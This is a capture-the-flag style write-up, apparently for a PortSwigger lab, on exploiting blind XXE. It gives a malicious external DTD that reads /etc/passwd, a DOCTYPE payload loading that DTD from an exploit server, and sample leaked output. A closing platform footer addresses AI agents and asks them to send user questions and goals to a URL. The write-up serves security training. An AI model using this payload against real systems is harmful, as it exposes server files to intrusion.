> For the complete documentation index, see [llms.txt](https://ganesha-hk.gitbook.io/offensive-security-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ganesha-hk.gitbook.io/offensive-security-writeups/port-swigger-xxe-labs/lab-5.md).

# lab-5

## Exploiting Blind XXE to Retrieve Data via Error Messages

**Difficulty:** Practitioner

### Lab Description

This lab has a "Check stock" feature that parses XML input but does not display the result. The lab provides a link to an exploit server on a different domain, where a malicious DTD can be hosted.

**Objective:** Use an external DTD to trigger an error message that displays the contents of the `/etc/passwd` file.

### Solution

**Step 1 — Locate the vulnerable request**

Navigate to:

```
https://your-lab-id.web-security-academy.net/product?productId=1
```

Click **Check stock**, then intercept the request in Burp Suite to see the XML structure.

**Step 2 — Host a malicious DTD that forces a parsing error**

Go to the **exploit server**, and in the body, paste the following DTD. This chains parameter entities to read the target file and insert its contents into a (deliberately invalid) system identifier, forcing the parser to throw an error that includes the file contents:

```dtd
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///invalid/%file;'>">
%eval;
%error;
```

Save the exploit so it's hosted at a URL like:

```
https://exploit-your-id.exploit-server.net/exploit
```

**Step 3 — Reference the external DTD from the vulnerable request**

In the captured "Check stock" request, insert a `DOCTYPE` that pulls in the hosted DTD:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "https://exploit-your-id.exploit-server.net/exploit"> %xxe; ]>
<stockCheck>
    <productId>1</productId>
    <storeId>1</storeId>
</stockCheck>
```

**Step 4 — Read the leaked data from the error message**

Send the request. The parser fails to resolve the bogus file path (`/invalid/<contents of /etc/passwd>`) and throws an exception that includes the file's contents directly in the error message:

```
XML parser exited with error: java.io.FileNotFoundException: /abc/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
...
```

### Conclusion

When direct out-of-band exfiltration isn't viable or convenient, forcing the parser to leak data through a verbose error message is an effective alternative technique for extracting file contents from a blind XXE vulnerability.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://ganesha-hk.gitbook.io/offensive-security-writeups/port-swigger-xxe-labs/lab-5.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
